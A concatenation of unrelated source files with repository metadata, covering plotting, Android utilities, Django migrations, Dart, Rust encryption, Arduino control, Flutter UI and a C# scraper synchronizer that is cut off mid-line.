2020-07-07T16:45:09.000Z
2021-04-05T15:55:30.000Z
import matplotlib.pyplot as plt import pickle import numpy as np import os def main(): X = ["50", "100","200", "300", "400"] X_axis = np.arange(len(X)) nlinks_50 = [] nlinks_100 = [] nlinks_200 = [] nlinks_300 = [] nlinks_400 = [] for filename in os.listdir("./data"): if filename.endswith(".npy") : if filename=="nlinks_200.npy": nlinks_200 = np.load("./data/"+filename)-100 elif filename=="nlinks_50.npy": nlinks_50 = np.load("./data/"+filename)-100 elif filename=="nlinks_300.npy": nlinks_300 = np.load("./data/"+filename)-100 elif filename=="nlinks_100.npy": nlinks_100 = np.load("./data/"+filename)-100 elif filename=="nlinks_400.npy": nlinks_400 = np.load("./data/"+filename)-100 plt.rcParams.update({'font.size': 13}) plt.rcParams['pdf.fonttype'] = 42 fig, ax = plt.subplots() plt.bar(X_axis, [np.mean(nlinks_50), np.mean(nlinks_100), np.mean(nlinks_200), np.mean(nlinks_300), np.mean(nlinks_400)], color = "skyblue", edgecolor='black') plt.ylim((0, 14)) plt.xticks(X_axis, X) plt.ylabel('Difference WCGCN w.r.t. WMMSE (%)', fontsize=15) plt.xlabel("Size (number of links)", fontsize=15) plt.grid(color='gray', axis="y") plt.tight_layout() plt.savefig('Barplot_figure.pdf', bbox_inches='tight') if __name__ == "__main__": main()
33.636364
163
0.583108
dd8d06ad1a07fc925e7ea705c94789e11447ca2a
2,550
java
Java
common/src/main/java/org/pointstone/cugappplat/util/CommonUtil.java
wslblb/TestChat
63ada577a3ef2a32c98932c767dfe04bf4c63c16
[ "Apache-2.0" ]
381
2017-06-12T08:08:54.000Z
2021-11-08T11:09:24.000Z
common/src/main/java/org/pointstone/cugappplat/util/CommonUtil.java
wslblb/TestChat
63ada577a3ef2a32c98932c767dfe04bf4c63c16
[ "Apache-2.0" ]
10
2017-07-18T02:05:22.000Z
2021-05-13T10:29:07.000Z
common/src/main/java/org/pointstone/cugappplat/util/CommonUtil.java
wslblb/TestChat
63ada577a3ef2a32c98932c767dfe04bf4c63c16
[ "Apache-2.0" ]
146
2017-06-12T08:21:20.000Z
2021-05-12T07:49:52.000Z
package org.pointstone.cugappplat.util; import android.app.ActivityManager; import android.content.Context; import android.os.Environment; import java.security.MessageDigest; import java.util.List; /** * 项目名称: Cugappplat * 创建人: 陈锦军 * 创建时间: 2017/5/16 14:09 * QQ: 1981367757 */ public class CommonUtil { public static String encode(String str) { return str+"cug"; } public static boolean isSupportSdcard() { if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) { return false; } else { return true; } } public static String md5(String currentUserObjectId) { MessageDigest md5 = null; try { md5 = MessageDigest.getInstance("MD5"); } catch (Exception e) { System.out.println(e.toString()); e.printStackTrace(); return ""; } char[] charArray = currentUserObjectId.toCharArray(); byte[] byteArray = new byte[charArray.length]; for (int i = 0; i < charArray.length; i++) byteArray[i] = (byte) charArray[i]; byte[] md5Bytes = md5.digest(byteArray); StringBuffer hexValue = new StringBuffer(); for (int i = 0; i < md5Bytes.length; i++) { int val = ((int) md5Bytes[i]) & 0xff; if (val < 16) hexValue.append("0"); hexValue.append(Integer.toHexString(val)); } return hexValue.toString(); } public static boolean isAppOnForeground(Context context) { ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses(); for (ActivityManager.RunningAppProcessInfo appProcessInfo : appProcessInfos ) { if (appProcessInfo.processName.equals(context.getPackageName())) { LogUtil.e("当前的APP存活"); return true; } } return false; } }
36.956522
119
0.5
39375bb586f734ed088058f5bddbaf30b9dc2c78
871
py
Python
Backend/src/contract/migrations/0016_auto_20200519_2306.py
Valle1806/EnergyCorp
aba09105eedcb7dc694b201e50953e19e4e2936b
[ "MIT" ]
1
2021-01-21T08:30:57.000Z
2021-01-21T08:30:57.000Z
Backend/src/contract/migrations/0016_auto_20200519_2306.py
ChristianTaborda/Energycorp
2447b5af211501450177b0b60852dcb31d6ca12d
[ "MIT" ]
null
null
null
Backend/src/contract/migrations/0016_auto_20200519_2306.py
ChristianTaborda/Energycorp
2447b5af211501450177b0b60852dcb31d6ca12d
[ "MIT" ]
null
null
null
# Generated by Django 3.0.3 on 2020-05-19 23:06 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('contract', '0015_auto_20200519_2238'), ] operations = [ migrations.RemoveField( model_name='invoice', name='mora', ), migrations.AddField( model_name='invoice', name='interestMora', field=models.PositiveIntegerField(default=0), ), migrations.AddField( model_name='invoice', name='totalMora', field=models.FloatField(default=0), ), migrations.AlterField( model_name='invoice', name='deadDatePay', field=models.DateField(default=datetime.datetime(2020, 5, 29, 23, 6, 52, 94902)), ), ]
25.617647
93
0.566016
721c01f28b1539619edc360716e524e051b5982b
797
dart
Dart
lib/domain/auth/user.dart
MuktadirM/ddd_flutter_example
7e4ddf5e2a4aa6b58f66026ca531c1e0bb8bd73b
[ "MIT" ]
1
2021-03-06T14:21:44.000Z
2021-03-06T14:21:44.000Z
lib/domain/auth/user.dart
MuktadirM/ddd_flutter_example
7e4ddf5e2a4aa6b58f66026ca531c1e0bb8bd73b
[ "MIT" ]
null
null
null
lib/domain/auth/user.dart
MuktadirM/ddd_flutter_example
7e4ddf5e2a4aa6b58f66026ca531c1e0bb8bd73b
[ "MIT" ]
null
null
null
import 'package:dartz/dartz.dart'; import 'package:ddd_flutter_example/domain/auth/auth_value_objects.dart'; import 'package:ddd_flutter_example/domain/core/entity.dart'; import 'package:ddd_flutter_example/domain/core/failures.dart'; import 'package:ddd_flutter_example/domain/core/value_objects.dart'; import 'package:freezed_annotation/freezed_annotation.dart'; part 'user.freezed.dart'; @freezed abstract class User with _$User implements IEntity { const factory User({ @required UniqueId id, @required FullName name, @required EmailAddress emailAddress, }) = _User; } extension UserX on User { Option<ValueFailure<dynamic>> get failureOption { return name.failureOrUnit .andThen(emailAddress.failureOrUnit) .fold((l) => some(l), (r) => none()); } }
30.653846
73
0.752823
ef225a9f9f5a418fd92e75d39014a3ae4c00284a
5,996
rs
Rust
src/volume/super_block.rs
amiraeva/zbox
b18c46c49456ef5a8869ebc75dbf47bc8685956f
[ "Apache-2.0" ]
null
null
null
src/volume/super_block.rs
amiraeva/zbox
b18c46c49456ef5a8869ebc75dbf47bc8685956f
[ "Apache-2.0" ]
null
null
null
src/volume/super_block.rs
amiraeva/zbox
b18c46c49456ef5a8869ebc75dbf47bc8685956f
[ "Apache-2.0" ]
null
null
null
use bytes::{Buf, BufMut, IntoBuf}; use rmp_serde::{Deserializer, Serializer}; use serde::{Deserialize, Serialize}; use super::storage::Storage; use super::BLK_SIZE; use base::crypto::{Cipher, Cost, Crypto, Key, Salt, SALT_SIZE}; use base::{Time, Version}; use error::{Error, Result}; use trans::Eid; /// Super block head, not encrypted #[derive(Debug, Default)] pub(super) struct Head { pub salt: Salt, pub cost: Cost, pub cipher: Cipher, } impl Head { const BYTES_LEN: usize = SALT_SIZE + Cost::BYTES_LEN + Cipher::BYTES_LEN; fn seri(&self) -> Vec<u8> { let mut buf = Vec::new(); buf.put(self.salt.as_ref()); buf.put_u8(self.cost.to_u8()); buf.put_u8(self.cipher.into()); buf } fn deseri(buf: &[u8]) -> Result<Self> { if buf.len() < Self::BYTES_LEN { return Err(Error::InvalidSuperBlk); } let mut pos = 0; let salt = Salt::from_slice(&buf[..SALT_SIZE]); pos += SALT_SIZE; let cost = Cost::from_u8(buf[pos])?; pos += Cost::BYTES_LEN; let cipher = Cipher::from_u8(buf[pos])?; Ok(Head { salt, cost, cipher }) } } /// Super block body, encrypted #[derive(Debug, Default, Deserialize, Serialize)] pub(super) struct Body { seq: u64, pub volume_id: Eid, pub ver: Version, pub key: Key, pub uri: String, pub compress: bool, pub ctime: Time, pub mtime: Time, pub payload: Vec<u8>, } impl Body { fn seri(&mut self) -> Result<Vec<u8>> { let mut buf = Vec::new(); self.seq += 1; self.mtime = Time::now(); self.serialize(&mut Serializer::new(&mut buf))?; Ok(buf) } fn deseri(buf: &[u8]) -> Result<Self> { let mut de = Deserializer::new(buf); let body: Body = Deserialize::deserialize(&mut de)?; Ok(body) } } /// Super block #[derive(Debug, Default)] pub(super) struct SuperBlk { pub head: Head, pub body: Body, } impl SuperBlk { // magic numbers for body AEAD encryption const MAGIC: [u8; 4] = [233, 239, 241, 251]; // save super blocks pub fn save(&mut self, pwd: &str, storage: &mut Storage) -> Result<()> { let crypto = Crypto::new(self.head.cost, self.head.cipher)?; // hash user specified plaintext password let pwd_hash = crypto.hash_pwd(pwd, &self.head.salt)?; let vkey = &pwd_hash.value; // serialize head and body let head_buf = self.head.seri(); let body_buf = self.body.seri()?; // compose buffer: body buffer length + body buffer + padding let mut comp_buf = Vec::new(); comp_buf.put_u64_le(body_buf.len() as u64); comp_buf.put(&body_buf); // resize the compose buffer to make it can exactly fit in a block let new_len = crypto.decrypted_len(BLK_SIZE - head_buf.len()); if comp_buf.len() > new_len { return Err(Error::InvalidSuperBlk); } comp_buf.resize(new_len, 0); // encrypt compose buffer using volume key which is the user password hash let enc_buf = crypto.encrypt_with_ad(&comp_buf, vkey, &Self::MAGIC)?; // combine head and compose buffer and save 2 copies to storage let mut buf = Vec::new(); buf.put(&head_buf); buf.put(&enc_buf); storage .put_super_block(&buf, 0) .and(storage.put_super_block(&buf, 1)) } // load a specific super block arm fn load_arm(suffix: u64, pwd: &str, storage: &mut Storage) -> Result<Self> { // read raw bytes let buf = storage.get_super_block(suffix)?; // read header let head = Head::deseri(&buf)?; // create crypto let crypto = Crypto::new(head.cost, head.cipher)?; // derive volume key and use it to decrypt body let pwd_hash = crypto.hash_pwd(pwd, &head.salt)?; let vkey = &pwd_hash.value; // read encryped body let mut comp_buf = crypto .decrypt_with_ad(&buf[Head::BYTES_LEN..], vkey, &Self::MAGIC)? .into_buf(); let body_buf_len = comp_buf.get_u64_le() as usize; let body = Body::deseri(&comp_buf.bytes()[..body_buf_len])?; Ok(SuperBlk { head, body }) } // load super block from both left and right arm pub fn load(pwd: &str, storage: &mut Storage) -> Result<Self> { let left = Self::load_arm(0, pwd, storage)?; let right = Self::load_arm(1, pwd, storage)?; if left.body.seq == right.body.seq { Ok(left) } else { Err(Error::InvalidSuperBlk) } } // try to repair super block using at least one valid pub fn repair(pwd: &str, storage: &mut Storage) -> Result<()> { let left_arm = Self::load_arm(0, pwd, storage); let right_arm = Self::load_arm(1, pwd, storage); match left_arm { Ok(mut left) => match right_arm { Ok(mut right) => { if left.body.volume_id != right.body.volume_id || left.body.key != right.body.key { return Err(Error::InvalidSuperBlk); } if left.body.seq > right.body.seq { left.save(pwd, storage)?; } else if left.body.seq < right.body.seq { right.save(pwd, storage)?; } else { debug!("super block all good, no need repair"); return Ok(()); } } Err(_) => left.save(pwd, storage)?, }, Err(err) => { if let Ok(mut right) = right_arm { right.save(pwd, storage)?; } else { return Err(err); } } } debug!("super block repaired"); Ok(()) } }
30.130653
82
0.542695
7554d1d9c1647e9e4bd8af381ebd956d1c2f6c69
50
css
CSS
plugins/related-posts/css/related-posts.min.css
siteponto/ewbank-online
75c9315bcf18ea7286e1c8d34f84cb8a3728b660
[ "MIT" ]
null
null
null
plugins/related-posts/css/related-posts.min.css
siteponto/ewbank-online
75c9315bcf18ea7286e1c8d34f84cb8a3728b660
[ "MIT" ]
null
null
null
plugins/related-posts/css/related-posts.min.css
siteponto/ewbank-online
75c9315bcf18ea7286e1c8d34f84cb8a3728b660
[ "MIT" ]
null
null
null
.related-post-title{font-size:16px;margin-top:8px}
50
50
0.8
7bfb31c23111aa6afa3fb5e2af8b708873ef2520
8,880
cpp
C++
Controller/Old versions/Controller_v3.0/Controller.cpp
RickVM/Trees_of_Life
382d23ed49edaafee923d1acc85e562fb7f12111
[ "Apache-2.0" ]
null
null
null
Controller/Old versions/Controller_v3.0/Controller.cpp
RickVM/Trees_of_Life
382d23ed49edaafee923d1acc85e562fb7f12111
[ "Apache-2.0" ]
null
null
null
Controller/Old versions/Controller_v3.0/Controller.cpp
RickVM/Trees_of_Life
382d23ed49edaafee923d1acc85e562fb7f12111
[ "Apache-2.0" ]
1
2018-06-21T13:12:44.000Z
2018-06-21T13:12:44.000Z
/* Main class for the logic of the program Cycle time for a loop with ultrasoon is ~500 millis Cycle time with buttons is ~75 millis */ #include "Controller.h" #define SYNC_DELAY 1000 #define PULSE_TIME 2500 #define CYCLES 5 /* Controller constructor Expects an Input object for acces to the value of the buttons/ultrasoons/etc.. Expects a number for selecting a communication methode with the slaves Expects the amount of animators (slaves) that it controlles And expect and id that is needed for communication over the I2C bus */ Controller::Controller(Input* input, int comMethod, int numAnimators, int id) { this->_input = input; this->communicationMethod = comMethod; this->numberAnimators = numAnimators; this->syncPreset = 15000; this->id = id; } /* This function always needs to be called when using this class it functions like the setup function in an ino file */ void Controller::Begin() { switch (communicationMethod) { case 1://Serial COM = new UART(BAUD_RATE); break; case 2://I2C COM = new I2C(this->id); break; default://Default is I2C COM = new I2C(this->id); break; }; COM->Begin();//Begin communication this->Reset();//Reset/init all the vars } /* Function that holds the logic/flow of the program */ void Controller::Logic(void) { //First check if syning has failed (somebody let go) if (syncingFailed) { this->syncingFailedLogic(); } else if (this->syncWait) //Check for syncing { this->waitSyncLogic(); } //Else check if syncing has started else if (syncing) { this->syncLogic(); } //If not syncing look if all inputs are high to start syncing else if (this->checkSync())//All active, do sync { //Start with the sync delay loop this->oldSyncTime = millis(); this->syncTime = millis(); Serial.println("Entering sync wait loop"); this->syncWait = true; } //Else check if one of the inputs is high else if (_input->getInputHigh(0) == true || _input->getInputHigh(1) == true || _input->getInputHigh(2) == true || _input->getInputHigh(3) == true || _input->getInputHigh(4) == true || _input->getInputHigh(5) == true) { this->Pulse(); } else { /* Idle, rest state To inplement */ } } /* Function that inplements the logic for when syncing fails. */ void Controller::syncingFailedLogic(void) { this->LetGo(); delay(10000); syncingFailed = false; this->Reset(); } /* */ void Controller::waitSyncLogic(void) { //Check if somebody let go if (this->checkLetGo()) { //Count until 5 cycles then, a cycle is 500 millis if (this->countLetGo == CYCLES) { this->syncing = false; this->syncingFailed = true; this->countLetGo = 0; } else { Serial.print("Cycle : "); Serial.println(countLetGo); this->countLetGo++; this->syncPreset += 500; } } else { this->syncTime = millis(); this->Pulse(); if (this->syncTime - this-> oldSyncTime > SYNC_DELAY) { this->syncing = true; this->Pulse();//Pulse to update old time values this->calculateAdjustments();//Calculate the difference here this->syncTime = millis(); this->oldSyncTime = millis(); this->syncWait = false; Serial.println("Exit sync wait loop"); } } } void Controller::syncLogic(void) { //Check if somebody let go if (this->checkLetGo()) { //Count until 5 cycles then if (this->countLetGo == CYCLES) { this->syncing = false; this->syncingFailed = true; this->countLetGo = 0; } else { Serial.print("Cycle : "); Serial.println(countLetGo); Serial.print("Millis : "); Serial.println(millis()); this->countLetGo++; switch (_input->getMethode()) { case 1://Buttons adjustime is the 75millis this->syncPreset += 75; break; case 2://Ultrasonic, adjusttime is than 500 millis this->syncPreset += 500; break; default: //Not inplemented break; }; } } else { //Execute sync this->countLetGo = 0; this->syncTime = millis(); //Check if sync is complete if (this->syncTime - this->oldSyncTime >= this->syncPreset) { //Sync completed this->Flash(); this->Reset(); delay(12000);//12 seconds } else { this->Pulse(); } } } void Controller::calculateAdjustments(void) { long average = 0; for (int i = 0; i < this->numberAnimators; i++) { average += oldTime[i]; } average /= this->numberAnimators; for (int k = 0; k < this->numberAnimators; k++) { adjustmentTimes[k] = average - oldTime[k]; adjustmentSteps[k] = adjustmentTimes[k] / 10; pulseTime[k] += adjustmentSteps[k]; } } bool Controller::checkLetGo() { bool rv = false; int temp = 0; for (int i = 0; i < this->numberAnimators; i++) { temp += _input->getInputHigh(i); } if (temp < numberAnimators) { delay(150); _input->readInputs();//Read the inputs again temp = 0; for (int i = 0; i < this->numberAnimators; i++) { temp += _input->getInputHigh(i); } if (temp < this->numberAnimators) { rv = true; } } return rv; } bool Controller::checkSync() { bool rv = false; int temp = 0; for (int i = 0; i < this->numberAnimators; i++) { temp += _input->getInputHigh(i); } if (temp == this->numberAnimators) { delay(25); _input->readInputs(); temp = 0; for (int i = 0; i < this->numberAnimators; i++) { temp += _input->getInputHigh(i); } if (temp == this->numberAnimators) { rv = true; } } return rv; } void Controller::syncStop(void) { this->currentTime = millis(); /* for (int i = 1; i < this->numberAnimators; i++) { finalAdjustment[i] = oldTime[0] - oldTime[i]; Serial.print("Time difference: "); Serial.print(finalAdjustment[i]); Serial.print(" of : "); Serial.println(i); } if (this->checkSyncStop()) { for (int i = 0; i < 6; i++) { pulseTime[i] = PULSE_TIME; } for (int k = 1; k < 6; k++) { pulseTime[k] += finalAdjustment[k]; finalSync[k] = true; } } */ long timeDifference = oldTime[0] - oldTime[1]; if (timeDifference < 20 && timeDifference > -20 && timeDifference != 0)//Stop adjusting whenever the difference between pulses is less than 20 { for (int i = 0; i < 6; i ++) { pulseTime[i] = PULSE_TIME; } //Add a final correction to get them perfectly synced. } } void Controller::Pulse(void)//Two inputs at the moment { this->syncStop(); for (int i = 0; i < this->numberAnimators; i++) { if (_input->getInputHigh(i)) { if (this->currentTime - this->oldTime[i] > this->pulseTime[i]) { switch (_input->getInputClassification(i)) { case 1: this->M = "pulse5"; break; case 2: this->M = "pulse6"; break; case 3: this->M = "pulse7"; break; case 4: this->M = "pulse8"; break; case 5: this->M = "pulse9"; break; case 6: this->M = "pulse10"; break; case 7: this->M = "pulse11"; break; }; COM->sendCommand((i + 1), M); this->oldTime[i] = this->currentTime; /*if (finalAdjustment[i] < 20 && finalAdjustment[i] > -20 && finalAdjustment[i] != 0)//Stop adjusting whenever the difference between pulses is less than 20 { for (int i = 0; i < 6; i ++) { pulseTime[i] = PULSE_TIME; } //Add a final correction to get them perfectly synced. }*/ } } } } void Controller::LetGo(void) { COM->sendCommand(1, "backward");//Teensy 1 COM->sendCommand(3, "backward");//Teensy 2 COM->sendCommand(5, "backward");//Teensy 3 /*for (int i = 1; i <= this->numberAnimators; i++) { COM->sendCommand(i, "backward"); }*/ } void Controller::Flash(void) { //Send to all three teensy's COM->sendCommand(1, "flash");//Teensy 1 COM->sendCommand(3, "flash");//Teensy 2 COM->sendCommand(5, "flash");//Teensy 3 /* for (int i = 1; i <= this->numberAnimators; i++) { COM->sendCommand(i, "flash"); }*/ } void Controller::Reset(void) { for (int i = 0; i < 6; i++) { this->pulseTime[i] = PULSE_TIME; this->oldTime[i] = 0; this->finalAdjustment[i] = 0; } this->syncing = false; this->syncingFailed = false; this->syncTime = 0; this->oldSyncTime = 0; this->syncWait = false; this->M = ""; this->countLetGo = 0; }
22.769231
164
0.574212
af6d9918ed41195425420db27e38e038e07c86e8
1,096
py
Python
tests/test_doc_upload.py
blue-yonder/devpi-acceptancetests
32d59c4948960d5471c7d10851e80f14d186a330
[ "BSD-3-Clause" ]
null
null
null
tests/test_doc_upload.py
blue-yonder/devpi-acceptancetests
32d59c4948960d5471c7d10851e80f14d186a330
[ "BSD-3-Clause" ]
20
2015-11-20T12:48:52.000Z
2021-03-16T00:15:29.000Z
tests/test_doc_upload.py
blue-yonder/devpi-acceptancetests
32d59c4948960d5471c7d10851e80f14d186a330
[ "BSD-3-Clause" ]
2
2016-03-09T13:25:39.000Z
2020-11-06T09:34:37.000Z
import requests from twitter.common.contextutil import pushd import unittest from devpi_plumber.server import TestServer from tests.config import NATIVE_PASSWORD, NATIVE_USER from tests.fixture import PACKAGE_VERSION, SOURCE_DIR from tests.utils import wait_until class DocUploadTests(unittest.TestCase): def test_upload(self): users = {NATIVE_USER: {'password': NATIVE_PASSWORD}} indices = {NATIVE_USER + '/index': {}} with TestServer(users=users, indices=indices) as devpi: devpi.use(NATIVE_USER, 'index') devpi.login(NATIVE_USER, NATIVE_PASSWORD) with pushd(SOURCE_DIR): devpi.upload(path=None, with_docs=True) def doc_present(version=PACKAGE_VERSION): return requests.get( devpi.server_url + "/{}/index/test-package/{}/+d/index.html".format(NATIVE_USER, version), ).status_code == 200, wait_until(doc_present, maxloop=300) self.assertTrue(doc_present('+latest')) self.assertTrue(doc_present('+stable'))
33.212121
110
0.662409
45a8da4b58e200c454ed9369441c872d55bcbeff
187
py
Python
stackstore/apps.py
salexkidd/django-stackstore-model
fb0bb6431dd772a80b8c9d6d2b625eae69562fa9
[ "MIT" ]
5
2020-05-28T07:04:25.000Z
2020-09-26T05:29:46.000Z
stackstore/apps.py
salexkidd/django-stackstore-model
fb0bb6431dd772a80b8c9d6d2b625eae69562fa9
[ "MIT" ]
1
2020-09-26T05:34:19.000Z
2020-09-26T05:34:19.000Z
stackstore/apps.py
salexkidd/django-stackstore-model
fb0bb6431dd772a80b8c9d6d2b625eae69562fa9
[ "MIT" ]
null
null
null
from django.apps import AppConfig from django.utils.translation import gettext_lazy as _ class StackstoreConfig(AppConfig): name = 'stackstore' verbose_name = _("Stack store")
20.777778
54
0.764706
14802d4644a5419bc6692909b65d7186181bd741
221
ts
TypeScript
src/models/github-runner.ts
hipcamp/ec-tuner
db0ad74fbc3ed338761f57d15284b12f62c1ebc4
[ "MIT" ]
null
null
null
src/models/github-runner.ts
hipcamp/ec-tuner
db0ad74fbc3ed338761f57d15284b12f62c1ebc4
[ "MIT" ]
68
2021-09-28T19:01:36.000Z
2022-02-10T18:47:25.000Z
src/models/github-runner.ts
hipcamp/ec-tuner
db0ad74fbc3ed338761f57d15284b12f62c1ebc4
[ "MIT" ]
null
null
null
export interface GithubRunner { id: number name: string status: string busy: boolean labels: GithubRunnerLabel[] ip: string } export interface GithubRunnerLabel { id: number name: string type: string }
14.733333
36
0.719457
3e94abfe8657c8e9e6519e4e8788127a1a0f8849
3,489
dart
Dart
lib/app/modules/campaigns/pages/campaign_person_page.dart
kleberandrade/my-blood-flutter
73ffe56fc1163c8a6fb7a026a43995ee9a9bdcd9
[ "Unlicense" ]
12
2020-03-29T15:51:03.000Z
2021-09-12T18:51:05.000Z
lib/app/modules/campaigns/pages/campaign_person_page.dart
kleberandrade/my-blood-flutter
73ffe56fc1163c8a6fb7a026a43995ee9a9bdcd9
[ "Unlicense" ]
2
2020-05-27T02:55:05.000Z
2020-05-28T23:19:53.000Z
lib/app/modules/campaigns/pages/campaign_person_page.dart
kleberandrade/my-blood-flutter
73ffe56fc1163c8a6fb7a026a43995ee9a9bdcd9
[ "Unlicense" ]
null
null
null
import 'package:flutter/material.dart'; import 'package:flutter_mobx/flutter_mobx.dart'; import 'package:my_blood/app/modules/campaigns/controllers/campaign_person_controller.dart'; import 'package:my_blood/app/modules/campaigns/pages/editor_campaign_person_page.dart'; import 'package:my_blood/app/modules/campaigns/widgets/campaign_person_card.dart'; import 'package:my_blood/app/modules/profile/controllers/profile_controller.dart'; import 'package:my_blood/app/shared/helpers/date_helper.dart'; import 'package:my_blood/app/shared/helpers/snackbar_helper.dart'; import 'package:my_blood/app/shared/widgets/containers/busy_container.dart'; import 'package:provider/provider.dart'; import 'package:my_blood/app/modules/campaigns/widgets/campaign_bottom_sheet.dart'; import 'package:my_blood/app/modules/campaigns/widgets/campaign_donation_dialog.dart'; class CampaignPersonPage extends StatefulWidget { @override _CampaignPersonPageState createState() => _CampaignPersonPageState(); } class _CampaignPersonPageState extends State<CampaignPersonPage> { CampaignPersonController _campaignController; ProfileController _profileController; @override void didChangeDependencies() { super.didChangeDependencies(); _profileController ??= Provider.of<ProfileController>(context); _campaignController ??= Provider.of<CampaignPersonController>(context); _campaignController.fetch(); } _navigatorToNewCampaignPerson() { Navigator.push( context, MaterialPageRoute(builder: (context) => EditorCampaignPersonPage()), ); } @override Widget build(BuildContext context) { return Scaffold( floatingActionButton: FloatingActionButton( child: Icon(Icons.add), onPressed: _navigatorToNewCampaignPerson, ), body: Observer( builder: (_) { return BusyContainer( busy: _campaignController.busy, child: ListView.builder( padding: EdgeInsets.all(10.0), shrinkWrap: true, itemCount: _campaignController.campaigns.length, itemBuilder: (context, index) { final campaign = _campaignController.campaigns[index]; return CampaignPersonCard( campaign: campaign, onShare: () { CampaignBottomSheet.show( context, '${campaign.name} precisa de doação de sangue do tipo ${campaign.bloodType}\n\nInformações para quem puder doar:\n${campaign.location}', _campaignController.campaigns[index].photoPath ?? '', ); }, onDonation: () { CampaignDonationDialog.show( context, nextDonationDate: _profileController.user.dateToNextDonation(), onConfirm: _onConfirmDonation, ); }, ); }, ), length: _campaignController.campaigns.length, icon: Icons.sentiment_dissatisfied, ); }, ), ); } _onConfirmDonation() { _profileController.user.lastDonationDate = DateHelper.format(DateTime.now()); _profileController.save(); SnackBarHelper.showSuccessMessage( context, title: 'Obrigado', message: 'Doação de sangue cadastrada com sucesso!', ); } }
37.117021
158
0.651476
4d604c0a9a71d255735c79f75b4ba13d31a198c3
7,569
cs
C#
src/OdjfsScraper/Synchronize/CountySynchronizer.cs
SmartRoutes/OdjfsScraper
80d3065e61c27d89a701485d89b221df0a8501fb
[ "MIT" ]
1
2015-04-09T11:23:32.000Z
2015-04-09T11:23:32.000Z
src/OdjfsScraper/Synchronize/CountySynchronizer.cs
SmartRoutes/OdjfsScraper
80d3065e61c27d89a701485d89b221df0a8501fb
[ "MIT" ]
null
null
null
src/OdjfsScraper/Synchronize/CountySynchronizer.cs
SmartRoutes/OdjfsScraper
80d3065e61c27d89a701485d89b221df0a8501fb
[ "MIT" ]
null
null
null
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.Logging; using OdjfsScraper.Database; using OdjfsScraper.Fetch; using OdjfsScraper.Models; namespace OdjfsScraper.Synchronize { public class CountySynchronizer : ICountySynchronizer { private readonly IChildCareStubListFetcher _listFetcher; private readonly ILogger<CountySynchronizer> _logger; public CountySynchronizer(ILogger<CountySynchronizer> logger, IChildCareStubListFetcher listFetcher) { _logger = logger; _listFetcher = listFetcher; } public async Task UpdateNextCounty(OdjfsContext ctx) { _logger.LogInformation("Fetching the next county to scrape."); await UpdateCounty( ctx, async counties => { var notScraped = await counties .Where(c => !c.LastScrapedOn.HasValue) .FirstOrDefaultAsync(); if (notScraped != null) { return notScraped; } return await counties .Where(c => c.LastScrapedOn.HasValue) .OrderBy(c => c.LastScrapedOn) .FirstOrDefaultAsync(); }); } public async Task UpdateCounty(OdjfsContext ctx, string name) { _logger.LogInformation("Fetching the county with Name '{name}' to scrape.", name); await UpdateCounty( ctx, counties => counties .FirstOrDefaultAsync(c => c.Name.ToUpper() == name.ToUpper())); } private async Task UpdateCounty(OdjfsContext ctx, Func<IQueryable<County>, Task<County>> countySelector) { _logger.LogInformation("Getting the next County to scrape."); County county = await countySelector(ctx.Counties); if (county == null) { _logger.LogInformation("No county matching the provided selector was found."); return; } _logger.LogInformation("The next county to scrape is '{name}'.", county.Name); await UpdateCounty(ctx, county); } private async Task UpdateCounty(OdjfsContext ctx, County county) { // record this scrape county.LastScrapedOn = DateTime.Now; await ctx.SaveChangesAsync(); // get the stubs from the web _logger.LogInformation("Scraping stubs for county '{name}'.", county.Name); ChildCareStub[] webStubs = (await _listFetcher.Fetch(county)).ToArray(); _logger.LogInformation("{count} stubs were scraped.", webStubs.Length); // get the IDs ISet<string> webIds = new HashSet<string>(webStubs.Select(c => c.ExternalUrlId)); if (webStubs.Length != webIds.Count) { IEnumerable<string> duplicateIds = webStubs .Select(c => c.ExternalUrlId) .GroupBy(i => i) .Select(g => g.ToArray()) .Where(g => g.Length > 0) .Select(g => g[0]); var exception = new SynchronizerException("One more more duplicate child cares were found in the list."); _logger.LogError( exception.Message + " County: '{county}', HasDuplicates: '{duplicateIds}', TotalCount: {totalCount}, UniqueCount: {uniqueCount}", county.Name, string.Join(", ", duplicateIds), webStubs.Length, webIds.Count); throw exception; } // get all of the stub that belong to this county or do not have a county // TODO: this code assumes a child care or stub never changed county ChildCareStub[] dbStubs = await ctx .ChildCareStubs .Where(c => c.CountyId == null || c.CountyId == county.Id) .ToArrayAsync(); ISet<string> dbStubIds = new HashSet<string>(dbStubs.Select(s => s.ExternalUrlId)); IDictionary<string, ChildCareStub> idToDbStub = dbStubs.ToDictionary(s => s.ExternalUrlId); _logger.LogInformation("{count} stubs were found in the database.", dbStubIds.Count); ChildCare[] dbChildCares = await ctx .ChildCares .Where(c => c.CountyId == county.Id) .ToArrayAsync(); ISet<string> dbIds = new HashSet<string>(dbChildCares.Select(c => c.ExternalUrlId)); IDictionary<string, ChildCare> idToDbChildCare = dbChildCares.ToDictionary(c => c.ExternalUrlId); _logger.LogInformation("{count} child cares were found in the database.", dbIds.Count); if (dbStubIds.Overlaps(dbIds)) { dbStubIds.IntersectWith(dbIds); var exception = new SynchronizerException("There are child cares that exist in both the ChildCare and ChildCareStub tables."); _logger.LogError( exception.Message + " County: '{count}', Overlapping: '{overlappingIds}'", county.Name, string.Join(", ", dbStubIds)); throw exception; } dbIds.UnionWith(dbStubIds); // find the newly deleted child cares ISet<string> deleted = new HashSet<string>(dbIds); deleted.ExceptWith(webIds); _logger.LogInformation("{count} child cares or stubs will be deleted.", deleted.Count); // delete if (deleted.Count > 0) { foreach (string id in deleted) { ChildCareStub stub; if (idToDbStub.TryGetValue(id, out stub)) { ctx.ChildCareStubs.Remove(stub); } ChildCare childCare; if (idToDbChildCare.TryGetValue(id, out childCare)) { ctx.ChildCares.Remove(childCare); } } } // find the newly added child cares ISet<string> added = new HashSet<string>(webIds); added.ExceptWith(dbIds); _logger.LogInformation("{count} stubs will be added.", added.Count); // add foreach (ChildCareStub stub in webStubs.Where(c => added.Contains(c.ExternalUrlId))) { ctx.ChildCareStubs.Add(stub); } // find stubs that we already have records of ISet<string> updated = new HashSet<string>(dbStubIds); updated.IntersectWith(webIds); // update foreach (ChildCareStub webStub in webStubs.Where(c => 